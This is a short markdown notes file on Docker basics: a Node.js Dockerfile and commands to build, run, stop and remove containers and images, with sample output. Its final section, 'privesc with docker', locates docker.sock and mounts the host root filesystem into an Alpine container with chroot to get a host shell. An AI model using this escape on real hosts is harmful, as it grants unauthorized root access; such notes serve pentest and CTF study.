# Docker basics
**Installation guide**
**Steps to run and stop**
**create Dockerfile**
```bash
touch Dockerfile
```
```bash
nano Dockerfile
```
```
# Use an official Node.js runtime as a parent image
FROM node:18
# Set the working directory inside the container
WORKDIR /app
# Copy package.json and package-lock.json to the working directory
COPY package*.json ./
# Install Node.js dependencies
RUN npm install
# Copy the rest of your application code to the container
COPY . .
# Expose the port your app will run on (e.g., 3000)
EXPOSE 3000
# Define the command to run your Node.js application
CMD ["node", "app.js"]
```
**Build the Docker Image**
```bash
sudo docker build -t rce .
```
**Run the Docker Container**
```bash
docker run -p 3000:3000 rce
```
**Stop the Docker Container**
```bash
docker ps
```
```bash
sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
d8162fd1ab99 rce "docker-entrypoint.s…" About a minute ago Up About a minute 0.0.0.0:3000->3000/tcp, :::3000->3000/tcp funny_mestorf
```
```bash
docker stop d8162fd1ab99
```
**Remove the Docker Container**
```bash
docker ps
```
```bash
sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
d8162fd1ab99 rce "docker-entrypoint.s…" About a minute ago Up About a minute 0.0.0.0:3000->3000/tcp, :::3000->3000/tcp funny_mestorf
```
```bash
docker stop d8162fd1ab99
```
```bash
docker rm d8162fd1ab99
```
**remove docker images**
```bash
sudo docker images
```
```bash
REPOSITORY TAG IMAGE ID CREATED SIZE
rce latest 9815dffedc8a 3 hours ago 1.1GB
ab342d382e9c 3 hours ago 919MB
my-node-app latest 4af22866525b 3 hours ago 919MB
3042fe5c6efc 3 hours ago 919MB
```
```bash
sudo docker rmi ab342d382e9c
Deleted: sha256:ab342d382e9cb9f371cf96badbcc91e1d3e44448d2ce0751f838fa2ea6db44ab
```
or
```bash
sudo docker rmi -f rce
Untagged: rce:latest
Deleted: sha256:9815dffedc8a58d7dda263c219ab8b0e13890453a15c22c2ec189a19188273a9
```
**privesc with docker**
ref:-
```bash
find / -name docker.sock 2>/dev/null
/run/docker.sock
```
```bash
docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest a24bb4013296 3 years ago 5.57MB
hello-world latest bf756fb1ae65 3 years ago 13.3kB
```
```bash
docker run -it -v /:/host/ alpine chroot /host/ bash
```
---
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